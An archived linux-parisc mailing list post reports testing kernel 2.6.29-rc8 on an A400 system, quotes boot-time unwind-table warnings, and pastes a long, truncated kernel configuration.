Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754339AbZCRNRo
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 18 Mar 2009 09:17:44 -0400
Original-Received: from smtp2.it.da.ut.ee ([193.40.5.67]:59334 "EHLO smtp2.it.da.ut.ee"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1754250AbZCRNRn (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Wed, 18 Mar 2009 09:17:43 -0400
Original-Received: from math.ut.ee (math.ut.ee [193.40.36.2])
	by smtp2.it.da.ut.ee (Postfix) with ESMTP id 7359D73D808
	for <linux-parisc@vger.kernel.org>; Wed, 18 Mar 2009 15:17:39 +0200 (EET)
Original-Received: by math.ut.ee (Postfix, from userid 1014)
	id 562F2FD7A1; Wed, 18 Mar 2009 15:17:39 +0200 (EET)
Original-Received: from localhost (localhost [127.0.0.1])
	by math.ut.ee (Postfix) with ESMTP id 3E494FD79B
	for <linux-parisc@vger.kernel.org>; Wed, 18 Mar 2009 15:17:39 +0200 (EET)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1404
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1404>

Hello,

I just tested 2.6.29-rc8 on A400. Works fine but I got these warnings at 
bootup - maybe someone is interested:

[    0.000000] Linux version 2.6.29-rc8 (mroos@sidrun) (gcc version 4.3.2 (GCC) ) #1 Tue Mar 17 19:03:54 EET 2009
[    0.000000] unwind_init: start = 0x403f5e24, end = 0x4041b7f4, entries = 9629
[    0.000000] WARNING: Out of order unwind entry! 00000000403f7904 and 00000000403f7914
[    0.000000] WARNING: Out of order unwind entry! 00000000403f7914 and 00000000403f7924
[    0.000000] FP[0] enabled: Rev 1 Model 16
[    0.000000] The 64-bit Kernel has started...

config:

#
# Automatically generated make config: don't edit
# Linux kernel version: 2.6.29-rc8
# Tue Mar 17 18:38:25 2009
#
CONFIG_PARISC=y
CONFIG_MMU=y
CONFIG_STACK_GROWSUP=y
CONFIG_RWSEM_GENERIC_SPINLOCK=y
# CONFIG_ARCH_HAS_ILOG2_U32 is not set
# CONFIG_ARCH_HAS_ILOG2_U64 is not set
CONFIG_GENERIC_FIND_NEXT_BIT=y
CONFIG_GENERIC_BUG=y
CONFIG_GENERIC_HWEIGHT=y
CONFIG_GENERIC_CALIBRATE_DELAY=y
CONFIG_GENERIC_TIME=y
CONFIG_GENERIC_HARDIRQS=y
CONFIG_GENERIC_IRQ_PROBE=y
CONFIG_IRQ_PER_CPU=y
CONFIG_DEFCONFIG_LIST="/lib/modules/$UNAME_RELEASE/.config"

#
# General setup
#
CONFIG_EXPERIMENTAL=y
CONFIG_BROKEN_ON_SMP=y
CONFIG_INIT_ENV_ARG_LIMIT=32
CONFIG_LOCALVERSION=""
# CONFIG_LOCALVERSION_AUTO is not set
CONFIG_SWAP=y
CONFIG_SYSVIPC=y
CONFIG_SYSVIPC_SYSCTL=y
CONFIG_POSIX_MQUEUE=y
# CONFIG_BSD_PROCESS_ACCT is not set
CONFIG_TASKSTATS=y
CONFIG_TASK_DELAY_ACCT=y
CONFIG_TASK_XACCT=y
CONFIG_TASK_IO_ACCOUNTING=y
# CONFIG_AUDIT is not set

#
# RCU Subsystem
#
CONFIG_CLASSIC_RCU=y
# CONFIG_TREE_RCU is not set
# CONFIG_PREEMPT_RCU is not set
# CONFIG_TREE_RCU_TRACE is not set
# CONFIG_PREEMPT_RCU_TRACE is not set
# CONFIG_IKCONFIG is not set
CONFIG_LOG_BUF_SHIFT=15
# CONFIG_GROUP_SCHED is not set
# CONFIG_CGROUPS is not set
# CONFIG_SYSFS_DEPRECATED_V2 is not set
CONFIG_RELAY=y
CONFIG_NAMESPACES=y
# CONFIG_UTS_NS is not set
# CONFIG_IPC_NS is not set
# CONFIG_USER_NS is not set
# CONFIG_PID_NS is not set
# CONFIG_NET_NS is not set
CONFIG_BLK_DEV_INITRD=y
CONFIG_INITRAMFS_SOURCE=""
CONFIG_CC_OPTIMIZE_FOR_SIZE=y
CONFIG_SYSCTL=y
CONFIG_ANON_INODES=y
# CONFIG_EMBEDDED is not set
CONFIG_SYSCTL_SYSCALL=y
CONFIG_KALLSYMS=y
# CONFIG_KALLSYMS_ALL is not set
# CONFIG_KALLSYMS_EXTRA_PASS is not set
CONFIG_HOTPLUG=y
CONFIG_PRINTK=y
CONFIG_BUG=y
CONFIG_ELF_CORE=y
CONFIG_BASE_FULL=y
CONFIG_FUTEX=y
CONFIG_EPOLL=y
CONFIG_SIGNALFD=y
CONFIG_TIMERFD=y
CONFIG_EVENTFD=y
CONFIG_SHMEM=y
CONFIG_AIO=y
CONFIG_VM_EVENT_COUNTERS=y
CONFIG_PCI_QUIRKS=y
# CONFIG_COMPAT_BRK is not set
CONFIG_SLAB=y
# CONFIG_SLUB is not set
# CONFIG_SLOB is not set
CONFIG_PROFILING=y
CONFIG_TRACEPOINTS=y
# CONFIG_MARKERS is not set
CONFIG_OPROFILE=m
CONFIG_HAVE_OPROFILE=y
# CONFIG_HAVE_GENERIC_DMA_COHERENT is not set
CONFIG_SLABINFO=y
CONFIG_RT_MUTEXES=y
CONFIG_BASE_SMALL=0
CONFIG_MODULES=y
# CONFIG_MODULE_FORCE_LOAD is not set
CONFIG_MODULE_UNLOAD=y
CONFIG_MODULE_FORCE_UNLOAD=y
# CONFIG_MODVERSIONS is not set
# CONFIG_MODULE_SRCVERSION_ALL is not set
CONFIG_INIT_ALL_POSSIBLE=y
CONFIG_BLOCK=y
CONFIG_BLK_DEV_IO_TRACE=y
CONFIG_BLK_DEV_BSG=y
# CONFIG_BLK_DEV_INTEGRITY is not set
CONFIG_BLOCK_COMPAT=y

#
# IO Schedulers
#
CONFIG_IOSCHED_NOOP=y
CONFIG_IOSCHED_AS=y
CONFIG_IOSCHED_DEADLINE=y
CONFIG_IOSCHED_CFQ=y
# CONFIG_DEFAULT_AS is not set
# CONFIG_DEFAULT_DEADLINE is not set
CONFIG_DEFAULT_CFQ=y
# CONFIG_DEFAULT_NOOP is not set
CONFIG_DEFAULT_IOSCHED="cfq"
# CONFIG_FREEZER is not set

#
# Processor type and features
#
# CONFIG_PA7000 is not set
# CONFIG_PA7100LC is not set
# CONFIG_PA7200 is not set
# CONFIG_PA7300LC is not set
CONFIG_PA8X00=y
CONFIG_PA20=y
CONFIG_PREFETCH=y
CONFIG_64BIT=y
CONFIG_PARISC_PAGE_SIZE_4KB=y
# CONFIG_PARISC_PAGE_SIZE_16KB is not set
# CONFIG_PARISC_PAGE_SIZE_64KB is not set
# CONFIG_SMP is not set
CONFIG_ARCH_SELECT_MEMORY_MODEL=y
CONFIG_ARCH_DISCONTIGMEM_ENABLE=y
CONFIG_ARCH_FLATMEM_ENABLE=y
CONFIG_ARCH_DISCONTIGMEM_DEFAULT=y
CONFIG_NODES_SHIFT=3
CONFIG_PREEMPT_NONE=y
# CONFIG_PREEMPT_VOLUNTARY is not set
# CONFIG_PREEMPT is not set
CONFIG_HZ_100=y
# CONFIG_HZ_250 is not set
# CONFIG_HZ_300 is not set
# CONFIG_HZ_1000 is not set
CONFIG_HZ=100
# CONFIG_SCHED_HRTICK is not set
CONFIG_SELECT_MEMORY_MODEL=y
# CONFIG_FLATMEM_MANUAL is not set
CONFIG_DISCONTIGMEM_MANUAL=y
# CONFIG_SPARSEMEM_MANUAL is not set
CONFIG_DISCONTIGMEM=y
CONFIG_FLAT_NODE_MEM_MAP=y
CONFIG_NEED_MULTIPLE_NODES=y
CONFIG_PAGEFLAGS_EXTENDED=y
CONFIG_SPLIT_PTLOCK_CPUS=4
CONFIG_PHYS_ADDR_T_64BIT=y
CONFIG_ZONE_DMA_FLAG=0
CONFIG_VIRT_TO_BUS=y
CONFIG_UNEVICTABLE_LRU=y
CONFIG_COMPAT=y

#
# Bus options (PCI, PCMCIA, EISA, GSC, ISA)
#
# CONFIG_GSC is not set
CONFIG_PCI=y
# CONFIG_ARCH_SUPPORTS_MSI is not set
# CONFIG_PCI_LEGACY is not set
# CONFIG_PCI_DEBUG is not set
# CONFIG_PCI_STUB is not set
CONFIG_PCI_LBA=y
CONFIG_IOSAPIC=y
CONFIG_IOMMU_SBA=y
CONFIG_IOMMU_HELPER=y
# CONFIG_PCCARD is not set
# CONFIG_HOTPLUG_PCI is not set

#
# PA-RISC specific drivers
#
CONFIG_SUPERIO=y
CONFIG_CHASSIS_LCD_LED=y
CONFIG_PDC_CHASSIS=y
CONFIG_PDC_CHASSIS_WARN=y
CONFIG_PDC_STABLE=y

#
# Executable file formats
#
CONFIG_BINFMT_ELF=y
# CONFIG_CORE_DUMP_DEFAULT_ELF_HEADERS is not set
# CONFIG_HAVE_AOUT is not set
CONFIG_BINFMT_MISC=m
CONFIG_NET=y

#
# Networking options
#
CONFIG_COMPAT_NET_DEV_OPS=y
CONFIG_PACKET=y
CONFIG_PACKET_MMAP=y
CONFIG_UNIX=y
CONFIG_XFRM=y
CONFIG_XFRM_USER=m
CONFIG_XFRM_SUB_POLICY=y
CONFIG_XFRM_MIGRATE=y
CONFIG_XFRM_STATISTICS=y
CONFIG_XFRM_IPCOMP=m
CONFIG_NET_KEY=m
CONFIG_NET_KEY_MIGRATE=y
CONFIG_INET=y
CONFIG_IP_MULTICAST=y
# CONFIG_IP_ADVANCED_ROUTER is not set
CONFIG_IP_FIB_HASH=y
# CONFIG_IP_PNP is not set
CONFIG_NET_IPIP=m
CONFIG_NET_IPGRE=m
CONFIG_NET_IPGRE_BROADCAST=y
CONFIG_IP_MROUTE=y
CONFIG_IP_PIMSM_V1=y
CONFIG_IP_PIMSM_V2=y
# CONFIG_ARPD is not set
CONFIG_SYN_COOKIES=y
CONFIG_INET_AH=m
CONFIG_INET_ESP=m
CONFIG_INET_IPCOMP=m
CONFIG_INET_XFRM_TUNNEL=m
CONFIG_INET_TUNNEL=m
CONFIG_INET_XFRM_MODE_TRANSPORT=m
CONFIG_INET_XFRM_MODE_TUNNEL=m
CONFIG_INET_XFRM_MODE_BEET=m
CONFIG_INET_LRO=m
CONFIG_INET_DIAG=m
CONFIG_INET_TCP_DIAG=m
# CONFIG_TCP_CONG_ADVANCED is not set
CONFIG_TCP_CONG_CUBIC=y
CONFIG_DEFAULT_TCP_CONG="cubic"
CONFIG_TCP_MD5SIG=y
CONFIG_IPV6=m
CONFIG_IPV6_PRIVACY=y
CONFIG_IPV6_ROUTER_PREF=y
CONFIG_IPV6_ROUTE_INFO=y
CONFIG_IPV6_OPTIMISTIC_DAD=y
CONFIG_INET6_AH=m
CONFIG_INET6_ESP=m
CONFIG_INET6_IPCOMP=m
CONFIG_IPV6_MIP6=m
CONFIG_INET6_XFRM_TUNNEL=m
CONFIG_INET6_TUNNEL=m
CONFIG_INET6_XFRM_MODE_TRANSPORT=m
CONFIG_INET6_XFRM_MODE_TUNNEL=m
CONFIG_INET6_XFRM_MODE_BEET=m
CONFIG_INET6_XFRM_MODE_ROUTEOPTIMIZATION=m
CONFIG_IPV6_SIT=m
CONFIG_IPV6_NDISC_NODETYPE=y
CONFIG_IPV6_TUNNEL=m
CONFIG_IPV6_MULTIPLE_TABLES=y
CONFIG_IPV6_SUBTREES=y
CONFIG_IPV6_MROUTE=y
CONFIG_IPV6_PIMSM_V2=y
# CONFIG_NETLABEL is not set
# CONFIG_NETWORK_SECMARK is not set
CONFIG_NETFILTER=y
# CONFIG_NETFILTER_DEBUG is not set
CONFIG_NETFILTER_ADVANCED=y
CONFIG_BRIDGE_NETFILTER=y

#
# Core Netfilter Configuration
#
CONFIG_NETFILTER_NETLINK=m
CONFIG_NETFILTER_NETLINK_QUEUE=m
CONFIG_NETFILTER_NETLINK_LOG=m
CONFIG_NF_CONNTRACK=m
CONFIG_NF_CT_ACCT=y
CONFIG_NF_CONNTRACK_MARK=y
CONFIG_NF_CONNTRACK_EVENTS=y
CONFIG_NF_CT_PROTO_DCCP=m
CONFIG_NF_CT_PROTO_GRE=m
CONFIG_NF_CT_PROTO_SCTP=m
CONFIG_NF_CT_PROTO_UDPLITE=m
CONFIG_NF_CONNTRACK_AMANDA=m
CONFIG_NF_CONNTRACK_FTP=m
CONFIG_NF_CONNTRACK_H323=m
CONFIG_NF_CONNTRACK_IRC=m
CONFIG_NF_CONNTRACK_NETBIOS_NS=m
CONFIG_NF_CONNTRACK_PPTP=m
CONFIG_NF_CONNTRACK_SANE=m
CONFIG_NF_CONNTRACK_SIP=m
CONFIG_NF_CONNTRACK_TFTP=m
CONFIG_NF_CT_NETLINK=m
CONFIG_NETFILTER_TPROXY=m
CONFIG_NETFILTER_XTABLES=m
CONFIG_NETFILTER_XT_TARGET_CLASSIFY=m
CONFIG_NETFILTER_XT_TARGET_CONNMARK=m
CONFIG_NETFILTER_XT_TARGET_DSCP=m
CONFIG_NETFILTER_XT_TARGET_MARK=m
CONFIG_NETFILTER_XT_TARGET_NFLOG=m
CONFIG_NETFILTER_XT_TARGET_NFQUEUE=m
CONFIG_NETFILTER_XT_TARGET_NOTRACK=m
CONFIG_NETFILTER_XT_TARGET_RATEEST=m
CONFIG_NETFILTER_XT_TARGET_TPROXY=m
CONFIG_NETFILTER_XT_TARGET_TRACE=m
CONFIG_NETFILTER_XT_TARGET_TCPMSS=m
CONFIG_NETFILTER_XT_TARGET_TCPOPTSTRIP=m
CONFIG_NETFILTER_XT_MATCH_COMMENT=m
CONFIG_NETFILTER_XT_MATCH_CONNBYTES=m
CONFIG_NETFILTER_XT_MATCH_CONNLIMIT=m
CONFIG_NETFILTER_XT_MATCH_CONNMARK=m
CONFIG_NETFILTER_XT_MATCH_CONNTRACK=m
CONFIG_NETFILTER_XT_MATCH_DCCP=m
CONFIG_NETFILTER_XT_MATCH_DSCP=m
CONFIG_NETFILTER_XT_MATCH_ESP=m
CONFIG_NETFILTER_XT_MATCH_HASHLIMIT=m
CONFIG_NETFILTER_XT_MATCH_HELPER=m
CONFIG_NETFILTER_XT_MATCH_IPRANGE=m
CONFIG_NETFILTER_XT_MATCH_LENGTH=m
CONFIG_NETFILTER_XT_MATCH_LIMIT=m
CONFIG_NETFILTER_XT_MATCH_MAC=m
CONFIG_NETFILTER_XT_MATCH_MARK=m
CONFIG_NETFILTER_XT_MATCH_MULTIPORT=m
CONFIG_NETFILTER_XT_MATCH_OWNER=m
CONFIG_NETFILTER_XT_MATCH_POLICY=m
CONFIG_NETFILTER_XT_MATCH_PHYSDEV=m
CONFIG_NETFILTER_XT_MATCH_PKTTYPE=m
CONFIG_NETFILTER_XT_MATCH_QUOTA=m
CONFIG_NETFILTER_XT_MATCH_RATEEST=m
CONFIG_NETFILTER_XT_MATCH_REALM=m
CONFIG_NETFILTER_XT_MATCH_RECENT=m
# CONFIG_NETFILTER_XT_MATCH_RECENT_PROC_COMPAT is not set
CONFIG_NETFILTER_XT_MATCH_SCTP=m
CONFIG_NETFILTER_XT_MATCH_SOCKET=m
CONFIG_NETFILTER_XT_MATCH_STATE=m
CONFIG_NETFILTER_XT_MATCH_STATISTIC=m
CONFIG_NETFILTER_XT_MATCH_STRING=m
CONFIG_NETFILTER_XT_MATCH_TCPMSS=m
CONFIG_NETFILTER_XT_MATCH_TIME=m
CONFIG_NETFILTER_XT_MATCH_U32=m
# CONFIG_IP_VS is not set

#
# IP: Netfilter Configuration
#
CONFIG_NF_DEFRAG_IPV4=m
CONFIG_NF_CONNTRACK_IPV4=m
CONFIG_NF_CONNTRACK_PROC_COMPAT=y
CONFIG_IP_NF_QUEUE=m
CONFIG_IP_NF_IPTABLES=m
CONFIG_IP_NF_MATCH_ADDRTYPE=m
CONFIG_IP_NF_MATCH_AH=m
CONFIG_IP_NF_MATCH_ECN=m
CONFIG_IP_NF_MATCH_TTL=m
CONFIG_IP_NF_FILTER=m
CONFIG_IP_NF_TARGET_REJECT=m
CONFIG_IP_NF_TARGET_LOG=m
CONFIG_IP_NF_TARGET_ULOG=m
CONFIG_NF_NAT=m
CONFIG_NF_NAT_NEEDED=y
CONFIG_IP_NF_TARGET_MASQUERADE=m
CONFIG_IP_NF_TARGET_NETMAP=m
CONFIG_IP_NF_TARGET_REDIRECT=m
CONFIG_NF_NAT_SNMP_BASIC=m
CONFIG_NF_NAT_PROTO_DCCP=m
CONFIG_NF_NAT_PROTO_GRE=m
CONFIG_NF_NAT_PROTO_UDPLITE=m
CONFIG_NF_NAT_PROTO_SCTP=m
CONFIG_NF_NAT_FTP=m
CONFIG_NF_NAT_IRC=m
CONFIG_NF_NAT_TFTP=m
CONFIG_NF_NAT_AMANDA=m
CONFIG_NF_NAT_PPTP=m
CONFIG_NF_NAT_H323=m
CONFIG_NF_NAT_SIP=m
CONFIG_IP_NF_MANGLE=m
CONFIG_IP_NF_TARGET_CLUSTERIP=m
CONFIG_IP_NF_TARGET_ECN=m
CONFIG_IP_NF_TARGET_TTL=m
CONFIG_IP_NF_RAW=m
# CONFIG_IP_NF_SECURITY is not set
CONFIG_IP_NF_ARPTABLES=m
CONFIG_IP_NF_ARPFILTER=m
CONFIG_IP_NF_ARP_MANGLE=m

#
# IPv6: Netfilter Configuration
#
CONFIG_NF_CONNTRACK_IPV6=m
CONFIG_IP6_NF_QUEUE=m
CONFIG_IP6_NF_IPTABLES=m
CONFIG_IP6_NF_MATCH_AH=m
CONFIG_IP6_NF_MATCH_EUI64=m
CONFIG_IP6_NF_MATCH_FRAG=m
CONFIG_IP6_NF_MATCH_OPTS=m
CONFIG_IP6_NF_MATCH_HL=m
CONFIG_IP6_NF_MATCH_IPV6HEADER=m
CONFIG_IP6_NF_MATCH_MH=m
CONFIG_IP6_NF_MATCH_RT=m
CONFIG_IP6_NF_TARGET_LOG=m
CONFIG_IP6_NF_FILTER=m
CONFIG_IP6_NF_TARGET_REJECT=m
CONFIG_IP6_NF_MANGLE=m
CONFIG_IP6_NF_TARGET_HL=m
CONFIG_IP6_NF_RAW=m
# CONFIG_IP6_NF_SECURITY is not set
CONFIG_BRIDGE_NF_EBTABLES=m
CONFIG_BRIDGE_EBT_BROUTE=m
CONFIG_BRIDGE_EBT_T_FILTER=m
CONFIG_BRIDGE_EBT_T_NAT=m
CONFIG_BRIDGE_EBT_802_3=m
CONFIG_BRIDGE_EBT_AMONG=m
CONFIG_BRIDGE_EBT_ARP=m
CONFIG_BRIDGE_EBT_IP=m
CONFIG_BRIDGE_EBT_IP6=m
CONFIG_BRIDGE_EBT_LIMIT=m
CONFIG_BRIDGE_EBT_MARK=m
CONFIG_BRIDGE_EBT_PKTTYPE=m
CONFIG_BRIDGE_EBT_STP=m
CONFIG_BRIDGE_EBT_VLAN=m
CONFIG_BRIDGE_EBT_ARPREPLY=m
CONFIG_BRIDGE_EBT_DNAT=m
CONFIG_BRIDGE_EBT_MARK_T=m
CONFIG_BRIDGE_EBT_REDIRECT=m
CONFIG_BRIDGE_EBT_SNAT=m
CONFIG_BRIDGE_EBT_LOG=m
CONFIG_BRIDGE_EBT_ULOG=m
CONFIG_BRIDGE_EBT_NFLOG=m
# CONFIG_IP_DCCP is not set
# CONFIG_IP_SCTP is not set
# CONFIG_TIPC is not set
CONFIG_ATM=m
CONFIG_ATM_CLIP=m
# CONFIG_ATM_CLIP_NO_ICMP is not set
CONFIG_ATM_LANE=m
CONFIG_ATM_MPOA=m
CONFIG_ATM_BR2684=m
# CONFIG_ATM_BR2684_IPFILTER is not set
CONFIG_STP=m
CONFIG_GARP=m
CONFIG_BRIDGE=m
# CONFIG_NET_DSA is not set
CONFIG_VLAN_8021Q=m
CONFIG_VLAN_8021Q_GVRP=y
# CONFIG_DECNET is not set
CONFIG_LLC=m
CONFIG_LLC2=m
# CONFIG_IPX is not set
CONFIG_ATALK=m
CONFIG_DEV_APPLETALK=m
CONFIG_IPDDP=m
CONFIG_IPDDP_ENCAP=y
CONFIG_IPDDP_DECAP=y
# CONFIG_X25 is not set
CONFIG_LAPB=m
# CONFIG_ECONET is not set
# CONFIG_WAN_ROUTER is not set
CONFIG_NET_SCHED=y

#
# Queueing/Scheduling
#
CONFIG_NET_SCH_CBQ=m
CONFIG_NET_SCH_HTB=m
CONFIG_NET_SCH_HFSC=m
CONFIG_NET_SCH_ATM=m
CONFIG_NET_SCH_PRIO=m
CONFIG_NET_SCH_MULTIQ=m
CONFIG_NET_SCH_RED=m
CONFIG_NET_SCH_SFQ=m
CONFIG_NET_SCH_TEQL=m
CONFIG_NET_SCH_TBF=m
CONFIG_NET_SCH_GRED=m
CONFIG_NET_SCH_DSMARK=m
CONFIG_NET_SCH_NETEM=m
CONFIG_NET_SCH_DRR=m
CONFIG_NET_SCH_INGRESS=m

#
# Classification
#
CONFIG_NET_CLS=y
CONFIG_NET_CLS_BASIC=m
CONFIG_NET_CLS_TCINDEX=m
CONFIG_NET_CLS_ROUTE4=m
CONFIG_NET_CLS_ROUTE=y
CONFIG_NET_CLS_FW=m
CONFIG_NET_CLS_U32=m
CONFIG_CLS_U32_PERF=y
CONFIG_CLS_U32_MARK=y
CONFIG_NET_CLS_RSVP=m
CONFIG_NET_CLS_RSVP6=m
CONFIG_NET_CLS_FLOW=m
CONFIG_NET_EMATCH=y
CONFIG_NET_EMATCH_STACK=32
CONFIG_NET_EMATCH_CMP=m
CONFIG_NET_EMATCH_NBYTE=m
CONFIG_NET_EMATCH_U32=m
CONFIG_NET_EMATCH_META=m
CONFIG_NET_EMATCH_TEXT=m
CONFIG_NET_CLS_ACT=y
CONFIG_NET_ACT_POLICE=m
CONFIG_NET_ACT_GACT=m
CONFIG_GACT_PROB=y
CONFIG_NET_ACT_MIRRED=m
CONFIG_NET_ACT_IPT=m
CONFIG_NET_ACT_NAT=m
CONFIG_NET_ACT_PEDIT=m
CONFIG_NET_ACT_SIMP=m
CONFIG_NET_ACT_SKBEDIT=m
CONFIG_NET_CLS_IND=y
CONFIG_NET_SCH_FIFO=y
# CONFIG_DCB is not set

#
# Network testing
#
CONFIG_NET_PKTGEN=m
# CONFIG_HAMRADIO is not set
# CONFIG_CAN is not set
# CONFIG_IRDA is not set
# CONFIG_BT is not set
# CONFIG_AF_RXRPC is not set
# CONFIG_PHONET is not set
CONFIG_FIB_RULES=y
# CONFIG_WIRELESS is not set
# CONFIG_WIMAX is not set
# CONFIG_RFKILL is not set
# CONFIG_NET_9P is not set

#
# Device Drivers
#

#
# Generic Driver Options
#
CONFIG_UEVENT_HELPER_PATH="/sbin/hotplug"
CONFIG_STANDALONE=y
CONFIG_PREVENT_FIRMWARE_BUILD=y
CONFIG_FW_LOADER=y
CONFIG_FIRMWARE_IN_KERNEL=y
CONFIG_EXTRA_FIRMWARE=""
# CONFIG_DEBUG_DRIVER is not set
# CONFIG_DEBUG_DEVRES is not set
# CONFIG_SYS_HYPERVISOR is not set
CONFIG_CONNECTOR=m
# CONFIG_MTD is not set
# CONFIG_PARPORT is not set
CONFIG_BLK_DEV=y
# CONFIG_BLK_CPQ_DA is not set
# CONFIG_BLK_CPQ_CISS_DA is not set
# CONFIG_BLK_DEV_DAC960 is not set
# CONFIG_BLK_DEV_UMEM is not set
# CONFIG_BLK_DEV_COW_COMMON is not set
CONFIG_BLK_DEV_LOOP=m
CONFIG_BLK_DEV_CRYPTOLOOP=m
# CONFIG_BLK_DEV_NBD is not set
# CONFIG_BLK_DEV_SX8 is not set
# CONFIG_BLK_DEV_RAM is not set
# CONFIG_CDROM_PKTCDVD is not set
CONFIG_ATA_OVER_ETH=m
# CONFIG_BLK_DEV_HD is not set
CONFIG_MISC_DEVICES=y
# CONFIG_PHANTOM is not set
# CONFIG_SGI_IOC4 is not set
# CONFIG_TIFM_CORE is not set
# CONFIG_ENCLOSURE_SERVICES is not set
# CONFIG_HP_ILO is not set
# CONFIG_C2PORT is not set

#
# EEPROM support
#
# CONFIG_EEPROM_93CX6 is not set
CONFIG_HAVE_IDE=y
# CONFIG_IDE is not set

#
# SCSI device support
#
# CONFIG_RAID_ATTRS is not set
CONFIG_SCSI=m
CONFIG_SCSI_DMA=y
CONFIG_SCSI_TGT=m
CONFIG_SCSI_NETLINK=y
CONFIG_SCSI_PROC_FS=y

#
# SCSI support type (disk, tape, CD-ROM)
#
CONFIG_BLK_DEV_SD=m
CONFIG_CHR_DEV_ST=m
CONFIG_CHR_DEV_OSST=m
CONFIG_BLK_DEV_SR=m
CONFIG_BLK_DEV_SR_VENDOR=y
CONFIG_CHR_DEV_SG=m
CONFIG_CHR_DEV_SCH=m

#
# Some SCSI devices (e.g. CD jukebox) support multiple LUNs
#
CONFIG_SCSI_MULTI_LUN=y
CONFIG_SCSI_CONSTANTS=y
CONFIG_SCSI_LOGGING=y
# CONFIG_SCSI_SCAN_ASYNC is not set
CONFIG_SCSI_WAIT_SCAN=m

#
# SCSI Transports
#
CONFIG_SCSI_SPI_ATTRS=m
CONFIG_SCSI_FC_ATTRS=m
CONFIG_SCSI_FC_TGT_ATTRS=y
CONFIG_SCSI_ISCSI_ATTRS=m
CONFIG_SCSI_SAS_ATTRS=m
CONFIG_SCSI_SAS_LIBSAS=m
CONFIG_SCSI_SAS_ATA=y
CONFIG_SCSI_SAS_HOST_SMP=y
# CONFIG_SCSI_SAS_LIBSAS_DEBUG is not set
# CONFIG_SCSI_SRP_ATTRS is not set
CONFIG_SCSI_LOWLEVEL=y
CONFIG_ISCSI_TCP=m
CONFIG_BLK_DEV_3W_XXXX_RAID=m
CONFIG_SCSI_3W_9XXX=m
CONFIG_SCSI_ACARD=m
CONFIG_SCSI_AACRAID=m
CONFIG_SCSI_AIC7XXX=m
CONFIG_AIC7XXX_CMDS_PER_DEVICE=32
CONFIG_AIC7XXX_RESET_DELAY_MS=15000
CONFIG_AIC7XXX_DEBUG_ENABLE=y
CONFIG_AIC7XXX_DEBUG_MASK=0
CONFIG_AIC7XXX_REG_PRETTY_PRINT=y
CONFIG_SCSI_AIC7XXX_OLD=m
CONFIG_SCSI_AIC79XX=m
CONFIG_AIC79XX_CMDS_PER_DEVICE=32
CONFIG_AIC79XX_RESET_DELAY_MS=15000
CONFIG_AIC79XX_DEBUG_ENABLE=y
CONFIG_AIC79XX_DEBUG_MASK=0
CONFIG_AIC79XX_REG_PRETTY_PRINT=y
CONFIG_SCSI_AIC94XX=m
# CONFIG_AIC94XX_DEBUG is not set
CONFIG_SCSI_DPT_I2O=m
CONFIG_SCSI_ADVANSYS=m
CONFIG_SCSI_ARCMSR=m
CONFIG_MEGARAID_NEWGEN=y
CONFIG_MEGARAID_MM=m
CONFIG_MEGARAID_MAILBOX=m
CONFIG_MEGARAID_LEGACY=m
CONFIG_MEGARAID_SAS=m
CONFIG_SCSI_HPTIOP=m
CONFIG_LIBFC=m
CONFIG_FCOE=m
CONFIG_SCSI_DMX3191D=m
CONFIG_SCSI_FUTURE_DOMAIN=m
CONFIG_SCSI_IPS=m
CONFIG_SCSI_INITIO=m
CONFIG_SCSI_INIA100=m
CONFIG_SCSI_MVSAS=m
CONFIG_SCSI_STEX=m
CONFIG_SCSI_SYM53C8XX_2=m
CONFIG_SCSI_SYM53C8XX_DMA_ADDRESSING_MODE=1
CONFIG_SCSI_SYM53C8XX_DEFAULT_TAGS=16
CONFIG_SCSI_SYM53C8XX_MAX_TAGS=64
CONFIG_SCSI_SYM53C8XX_MMIO=y
# CONFIG_SCSI_IPR is not set
CONFIG_SCSI_QLOGIC_1280=m
CONFIG_SCSI_QLA_FC=m
CONFIG_SCSI_QLA_ISCSI=m
CONFIG_SCSI_LPFC=m
# CONFIG_SCSI_LPFC_DEBUG_FS is not set
CONFIG_SCSI_DC395x=m
CONFIG_SCSI_DC390T=m
# CONFIG_SCSI_DEBUG is not set
# CONFIG_SCSI_SRP is not set
# CONFIG_SCSI_DH is not set
CONFIG_ATA=m
# CONFIG_ATA_NONSTANDARD is not set
CONFIG_SATA_PMP=y
CONFIG_SATA_AHCI=m
CONFIG_SATA_SIL24=m
CONFIG_ATA_SFF=y
CONFIG_SATA_SVW=m
# CONFIG_ATA_PIIX is not set
CONFIG_SATA_MV=m
# CONFIG_SATA_NV is not set
CONFIG_PDC_ADMA=m
CONFIG_SATA_QSTOR=m
CONFIG_SATA_PROMISE=m
CONFIG_SATA_SX4=m
CONFIG_SATA_SIL=m
# CONFIG_SATA_SIS is not set
# CONFIG_SATA_ULI is not set
CONFIG_SATA_VIA=m
CONFIG_SATA_VITESSE=m
CONFIG_SATA_INIC162X=m
# CONFIG_PATA_ALI is not set
# CONFIG_PATA_AMD is not set
CONFIG_PATA_ARTOP=m
# CONFIG_PATA_ATIIXP is not set
CONFIG_PATA_CMD640_PCI=m
CONFIG_PATA_CMD64X=m
# CONFIG_PATA_CS5520 is not set
# CONFIG_PATA_CS5530 is not set
# CONFIG_PATA_CYPRESS is not set
# CONFIG_PATA_EFAR is not set
CONFIG_ATA_GENERIC=m
CONFIG_PATA_HPT366=m
CONFIG_PATA_HPT37X=m
CONFIG_PATA_HPT3X2N=m
CONFIG_PATA_HPT3X3=m
CONFIG_PATA_HPT3X3_DMA=y
CONFIG_PATA_IT821X=m
CONFIG_PATA_IT8213=m
CONFIG_PATA_JMICRON=m
# CONFIG_PATA_TRIFLEX is not set
CONFIG_PATA_MARVELL=m
# CONFIG_PATA_MPIIX is not set
# CONFIG_PATA_OLDPIIX is not set
# CONFIG_PATA_NETCELL is not set
# CONFIG_PATA_NINJA32 is not set
# CONFIG_PATA_NS87410 is not set
# CONFIG_PATA_NS87415 is not set
# CONFIG_PATA_OPTI is not set
# CONFIG_PATA_OPTIDMA is not set
# CONFIG_PATA_PDC_OLD is not set
# CONFIG_PATA_RADISYS is not set
# CONFIG_PATA_RZ1000 is not set
